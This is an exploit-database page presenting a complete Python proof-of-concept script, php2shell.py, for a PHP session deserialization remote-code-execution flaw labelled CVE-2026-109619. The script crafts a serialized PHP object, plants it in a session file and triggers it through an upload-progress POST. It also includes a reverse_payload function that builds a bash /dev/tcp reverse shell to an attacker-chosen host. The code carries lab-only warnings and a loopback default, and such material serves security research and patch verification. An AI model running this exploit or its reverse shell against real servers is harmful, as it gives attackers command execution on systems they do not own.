Exploit database

GH-f4ebd3409e89ef4a01c9952aec80d7d5

mazdel/php2shell-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109619

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files9
mazdel/php2shell-pocRevision 5bcf1634e7b4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

php2shell.py

Python · 17,656 bytes
#!/usr/bin/env python3
"""php2shell - CVE-2026-109619 pre-RINIT session deserialization PoC.

Authorized security testing only. The included Docker lab is deliberately
vulnerable; never deploy the preload gadget to a real web root.

On unpatched PHP the session upload-progress handler initializes the session
before RINIT and deserializes its contents. A class made available by
opcache.preload is instantiated and its __wakeup() runs before the request
script. No offsets, ASLR bypass, or heap grooming are involved.

Requirements:
  1. Unpatched PHP (fixed in 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35).
  2. session.upload_progress.enabled=On and file_uploads=On.
  3. A gadget class available before RINIT (the lab preloads the included
     preload_gadget.php).
  4. A serialized record in the session file for a known session id.
"""
from __future__ import annotations

import argparse
import http.client
import os
import re
import secrets
import shlex
import shutil
import ssl
import subprocess
import sys
import time
import urllib.parse

CLASS = "Php2ShellProbe"
SESSION_KEY = "evil"
SESSION_PROPERTY = "cmd"
MARKER = "/tmp/php2shell_rce.txt"
BODY_BEGIN = b"PHP2SHELL-BEGIN"
BODY_END = b"PHP2SHELL-END"
LOOPBACK = {"127.0.0.1", "localhost", "::1"}
DEFAULT_URL = "http://127.0.0.1:8899/"
DEFAULT_CONTAINER = "php2shell-poc-php"
DEFAULT_SESSION_DIR = "/tmp"
DEFAULT_COMMAND = "id; whoami; uname -a"
MAX_BODY = 2_000_000
USER_AGENT = "php2shell-109619-poc/1.0"
REPO_URL = "https://github.com/bigb0x/php2shell-poc"

ANSI = {
    "reset": "\033[0m",
    "bold": "\033[1m",
    "dim": "\033[2m",
    "green": "\033[38;5;46m",
    "cyan": "\033[38;5;51m",
    "magenta": "\033[38;5;201m",
    "purple": "\033[38;5;171m",
    "violet": "\033[38;5;135m",
    "blue": "\033[38;5;99m",
    "yellow": "\033[38;5;220m",
    "red": "\033[38;5;196m",
    "grey": "\033[38;5;245m",
    "white": "\033[38;5;255m",
}
BANNER_ART = [
    "███   █  █  ███   ███   ████  █  █  ████  █     █",
    "█  █  █  █  █  █     █  █     █  █  █     █     █",
    "███   ████  ███   ███   ███   ████  ███   █     █",
    "█     █  █  █     █        █  █  █  █     █     █",
    "█     █  █  █     ████  ████  █  █  ████  ████  ████",
]
BANNER_COLORS = ("magenta", "purple", "violet", "blue", "cyan")
COLOR = False
UNICODE = False
SHOW_BANNER = False


class RequestError(RuntimeError):
    pass


def _enable_windows_ansi() -> bool:
    try:
        import ctypes

        kernel32 = ctypes.windll.kernel32
        handle = kernel32.GetStdHandle(-11)
        mode = ctypes.c_uint32()
        if not kernel32.GetConsoleMode(handle, ctypes.byref(mode)):
            return False
        # ENABLE_VIRTUAL_TERMINAL_PROCESSING
        return bool(kernel32.SetConsoleMode(handle, mode.value | 0x0004))
    except Exception:
        return False


def configure_output(no_color: bool) -> None:
    global COLOR, UNICODE, SHOW_BANNER
    color = (
        sys.stdout.isatty()
        and not no_color
        and os.environ.get("NO_COLOR") is None
        and os.environ.get("TERM", "").lower() != "dumb"
    )
    if color and sys.platform == "win32":
        color = _enable_windows_ansi()
    COLOR = color
    UNICODE = color and "utf" in (sys.stdout.encoding or "").lower()
    SHOW_BANNER = color


def paint(text: str, *styles: str) -> str:
    if not COLOR:
        return text
    return "".join(ANSI[style] for style in styles) + text + ANSI["reset"]


def hr(label: str = "", width: int = 60) -> None:
    bar = "─" if UNICODE else "-"
    if label:
        lead = f"{bar}{bar} {label} "
        print("  " + paint(lead, "bold", "magenta") + paint(bar * max(0, width - len(lead)), "grey"))
    else:
        print("  " + paint(bar * width, "grey"))


def section(title: str) -> None:
    print()
    hr(title)


def field(label: str, value: str, style: str = "") -> None:
    shown = paint(value, style) if style else value
    print(f"  {paint(label.ljust(10), 'cyan')} {shown}")


def panel(title: str, subtitle: str, color: str, symbol: str = "[+]") -> None:
    width = 60
    if UNICODE:
        tl, tr, bl, br, h, v = "╔", "╗", "╚", "╝", "═", "║"
    else:
        tl = tr = bl = br = "+"
        h, v = "=", "|"
    print()
    print("  " + paint(tl + h * width + tr, color))
    print(
        "  "
        + paint(v, color)
        + " "
        + paint(f"{symbol} {title}".ljust(width - 2), "bold", color)
        + " "
        + paint(v, color)
    )
    print(
        "  "
        + paint(v, color)
        + " "
        + paint(f"   {subtitle}".ljust(width - 2), "white")
        + " "
        + paint(v, color)
    )
    print("  " + paint(bl + h * width + br, color))


def print_banner() -> None:
    if not SHOW_BANNER:
        return
    art = BANNER_ART if UNICODE else [line.replace("█", "#") for line in BANNER_ART]
    bar = "─" if UNICODE else "-"
    print()
    print("  " + paint(bar * 60, "grey"))
    for line, color in zip(art, BANNER_COLORS):
        print("  " + paint(line, "bold", color))
    print("  " + paint(bar * 60, "grey"))
    print(
        "  "
        + paint("CVE-2026-109619", "bold", "magenta")
        + paint("  //  PRE-RINIT SESSION DESERIALIZATION", "cyan")
    )
    print(
        "  "
        + paint("authorized lab use only", "dim", "grey")
        + paint("  //  patched 2026-10-21", "dim", "grey")
    )
    print("  " + paint("source", "dim", "grey") + "  " + paint(REPO_URL, "bold", "cyan"))


def docker_exec(container: str, script: str, data: bytes | None = None, check: bool = True) -> subprocess.CompletedProcess:
    return subprocess.run(
        ["docker", "exec", "-i", container, "sh", "-c", script],
        input=data,
        capture_output=True,
        check=check,
    )


def validate_container(container: str) -> str:
    if not re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9_.-]{0,127}", container or ""):
        raise SystemExit("invalid Docker container name")
    return container


def validate_sid(sid: str) -> str:
    if not re.fullmatch(r"[A-Za-z0-9,-]{8,128}", sid or ""):
        raise SystemExit("session id must be 8-128 characters from [A-Za-z0-9,-]")
    return sid


def validate_session_dir(path: str) -> str:
    if not path.startswith("/") or "\n" in path or "\x00" in path or "/../" in path or path.endswith("/.."):
        raise SystemExit("--session-dir must be an absolute path without traversal")
    return path


def make_record(command: str) -> bytes:
    raw = command.encode()
    obj = (
        f'O:{len(CLASS.encode())}:"{CLASS}":1:{{s:{len(SESSION_PROPERTY)}:"{SESSION_PROPERTY}";'
        f's:{len(raw)}:"{command}";}}'
    )
    return f"{SESSION_KEY}|{obj}".encode()


def parse_reverse(value: str) -> tuple[str, int]:
    if value.isdigit():
        host, port_text = "host.docker.internal", value
    else:
        if value.count(":") != 1:
            raise SystemExit("--reverse expects [LHOST:]LPORT; IPv6 is not supported")
        host, port_text = value.rsplit(":", 1)
    if not re.fullmatch(r"[A-Za-z0-9._-]{1,253}", host or ""):
        raise SystemExit("invalid reverse host")
    if not port_text.isdigit():
        raise SystemExit("reverse port must be numeric")
    port = int(port_text)
    if not 1 <= port <= 65535:
        raise SystemExit("reverse port must be between 1 and 65535")
    return host, port


def reverse_payload(host: str, port: int) -> str:
    return (
        f"nohup bash -c 'bash -i >& /dev/tcp/{host}/{port} 0>&1' "
        ">/dev/null 2>&1 < /dev/null &"
    )


def build_multipart(sid: str) -> tuple[str, bytes]:
    boundary = "----php2shell" + secrets.token_hex(12)
    chunks: list[bytes] = []

    def field(name: str, value: str) -> None:
        chunks.append(
            f'--{boundary}\r\nContent-Disposition: form-data; name="{name}"\r\n\r\n{value}\r\n'.encode()
        )

    field("PHPSESSID", sid)
    field("PHP_SESSION_UPLOAD_PROGRESS", "x")
    chunks.append(
        f'--{boundary}\r\nContent-Disposition: form-data; name="f"; filename="a.txt"\r\n'
        "Content-Type: application/octet-stream\r\n\r\n".encode()
        + b"A" * 4096
        + b"\r\n"
    )
    chunks.append(f"--{boundary}--\r\n".encode())
    return boundary, b"".join(chunks)


def send(url: str, sid: str, timeout: float) -> tuple[int, str, bytes]:
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https") or not parsed.hostname:
        raise RequestError("--url must be an http(s) URL")
    port = parsed.port or (443 if parsed.scheme == "https" else 80)
    path = parsed.path or "/"
    if parsed.query:
        path += "?" + parsed.query

    boundary, body = build_multipart(sid)
    headers = {
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Content-Length": str(len(body)),
        "Cookie": f"PHPSESSID={sid}",
        "User-Agent": USER_AGENT,
        "Connection": "close",
    }

    if parsed.scheme == "https":
        conn: http.client.HTTPConnection = http.client.HTTPSConnection(
            parsed.hostname,
            port,
            timeout=timeout,
            context=ssl.create_default_context(),
        )
    else:
        conn = http.client.HTTPConnection(parsed.hostname, port, timeout=timeout)

    try:
        conn.request("POST", path, body=body, headers=headers)
        response = conn.getresponse()
        data = response.read(MAX_BODY)
        return response.status, response.reason, data
    except Exception as exc:
        raise RequestError(f"POST {url}: {exc}") from exc
    finally:
        conn.close()


def framed_output(body: bytes) -> bytes | None:
    start_marker = body.find(BODY_BEGIN)
    if start_marker < 0:
        return None
    start = start_marker + len(BODY_BEGIN)
    end = body.find(BODY_END, start)
    if end < 0:
        return None
    return body[start:end].strip()


def plant_session(container: str, session_dir: str, sid: str, record: bytes) -> str:
    path = f"{session_dir}/sess_{sid}"
    script = (
        f"umask 007 && cat > {shlex.quote(path)} && "
        f"chown www-data:www-data {shlex.quote(path)}"
    )
    docker_exec(container, script, data=record)
    return path


def clear_marker(container: str) -> None:
    docker_exec(container, f"rm -f {shlex.quote(MARKER)}")


def read_marker(container: str) -> bytes:
    result = docker_exec(container, f"cat {shlex.quote(MARKER)}", check=False)
    return result.stdout if result.returncode == 0 else b""


def main() -> None:
    parser = argparse.ArgumentParser(
        description="CVE-2026-109619 pre-RINIT __wakeup PoC for authorized labs",
        epilog=f"source: {REPO_URL}",
    )
    parser.add_argument("-u", "--url", default=DEFAULT_URL, help="target endpoint (default: http://127.0.0.1:8899/)")
    payload = parser.add_mutually_exclusive_group()
    payload.add_argument(
        "-c", "-command", "--command", dest="command",
        help=f"command executed by the gadget (default: {DEFAULT_COMMAND})",
    )
    payload.add_argument(
        "--reverse", metavar="[LHOST:]LPORT",
        help="send a bash reverse shell instead; 4444 means host.docker.internal:4444",
    )
    parser.add_argument("--container", default=DEFAULT_CONTAINER, help="PHP container used for seeding and marker reads (default: php2shell-poc-php)")
    parser.add_argument("--session-dir", default=DEFAULT_SESSION_DIR, help="session.save_path inside the PHP container (default: /tmp)")
    parser.add_argument("--sid", default="", help="session id ([A-Za-z0-9,-]; random by default)")
    parser.add_argument("--no-seed", action="store_true",
                        help="do not use Docker; send only to an already-seeded session (framed output is the signal)")
    parser.add_argument("--allow-remote", action="store_true", help="allow a non-loopback target (authorized systems only)")
    parser.add_argument("--timeout", type=float, default=30.0, help="HTTP timeout in seconds (default: 30)")
    parser.add_argument("--verbose", action="store_true", help="print the exact serialized session record")
    parser.add_argument("--no-color", action="store_true", help="disable colors and the banner")
    args = parser.parse_args()

    host = (urllib.parse.urlparse(args.url).hostname or "").lower()
    if not host:
        raise SystemExit("--url must include a host")
    remote = host not in LOOPBACK
    if remote and not args.allow_remote:
        raise SystemExit("refusing a non-loopback target; pass --allow-remote only with explicit authorization")

    reverse = args.reverse is not None
    if reverse:
        reverse_host, reverse_port = parse_reverse(args.reverse)
        command = reverse_payload(reverse_host, reverse_port)
    else:
        command = args.command if args.command is not None else DEFAULT_COMMAND

    sid = validate_sid(args.sid) if args.sid else secrets.token_hex(12)
    container = validate_container(args.container)
    session_dir = validate_session_dir(args.session_dir)
    record = make_record(command)
    use_docker = not args.no_seed
    if use_docker and shutil.which("docker") is None:
        raise SystemExit(
            "docker CLI not found; install Docker or use --no-seed with an already-seeded session"
        )

    configure_output(args.no_color)
    print_banner()
    if remote:
        print("  " + paint("[!] remote target: authorized systems only", "bold", "yellow"))
    if reverse and remote and reverse_host == "host.docker.internal":
        print("  " + paint("[!] host.docker.internal is Docker Desktop-only; use a reachable IP", "yellow"))

    section("TARGET")
    field("url", args.url)
    field("session", sid)
    if reverse:
        field("payload", f"reverse shell -> {reverse_host}:{reverse_port}")
    else:
        field("payload", f"shell_exec: {command}")

    if args.verbose or not use_docker:
        section("RECORD")
        print("  " + paint(record.decode(errors="replace"), "dim"))

    session_path = f"{session_dir}/sess_{sid}"
    if use_docker:
        check = docker_exec(container, "true", check=False)
        if check.returncode != 0:
            raise SystemExit(
                f"cannot reach container {container!r}; start the lab or use --no-seed "
                "with an already-seeded session"
            )
        clear_marker(container)
        plant_session(container, session_dir, sid, record)

    section("EXECUTION")
    if use_docker:
        field("seed", session_path, "dim")
    else:
        field("seed", "skipped (--no-seed)", "yellow")
        field("expect", session_path, "dim")
    field("trigger", "multipart POST with PHP_SESSION_UPLOAD_PROGRESS")

    request_error: str | None = None
    status: int | None = None
    body = b""
    try:
        status, reason, body = send(args.url, sid, args.timeout)
        field("response", f"HTTP {status} {reason}", "green" if status == 200 else "yellow")
    except RequestError as exc:
        request_error = str(exc)
        field("response", f"ERROR: {request_error}", "red")
        if not reverse:
            raise SystemExit(1)

    time.sleep(0.2)
    proof = read_marker(container) if use_docker else b""
    output = framed_output(body)

    if proof or output is not None:
        if COLOR:
            panel("RCE CONFIRMED", "__wakeup() executed before RINIT", "green")
        else:
            print("RCE CONFIRMED: __wakeup executed before RINIT")
        section("SHELL OUTPUT")
        shell_text = (proof or output or b"").decode(errors="replace").rstrip()
        if shell_text:
            for line in shell_text.splitlines():
                print("  " + line)
        else:
            print("  " + paint("(no output captured)", "dim"))
        if reverse:
            print()
            field("reverse", f"payload triggered -> {reverse_host}:{reverse_port}", "magenta")
            field("next", "check your listener; bash and outbound TCP required", "dim")
        if use_docker:
            print()
            field("marker", f"{MARKER} (inside {container})", "dim")
            field("cleanup", f"docker exec {container} rm -f {shlex.quote(session_path)} {MARKER}", "dim")
        return

    if COLOR:
        panel("NOT CONFIRMED", "no marker and no framed command output", "red", symbol="[x]")
    else:
        print("NOT CONFIRMED: no marker and no framed command output")
    notices = []
    if not use_docker:
        notices.append("[!] --no-seed: no marker; discarded output cannot confirm execution")
    if request_error and reverse:
        notices.append("[!] request failed; a reverse payload may still have been delivered")
    if notices:
        print()
        for notice in notices:
            print("  " + paint(notice, "yellow"))
    section("RESPONSE")
    if body:
        print("  " + paint("first 500 bytes:", "dim"))
        for line in body[:500].decode(errors="replace").splitlines():
            print("  " + line)
    else:
        print("  " + paint("(empty response body)", "dim"))
    section("CHECK")
    checks = [
        "unpatched PHP",
        "session.upload_progress.enabled=On",
        "file_uploads=On",
        "a gadget class preloaded before RINIT",
        "the session file path and ownership",
        "session.serialize_handler=php",
        "the application does not discard pre-script output",
        "shell_exec() is not disabled",
    ]
    for check in checks:
        print("  " + paint("-", "yellow") + " " + check)
    sys.exit(1)


if __name__ == "__main__":
    main()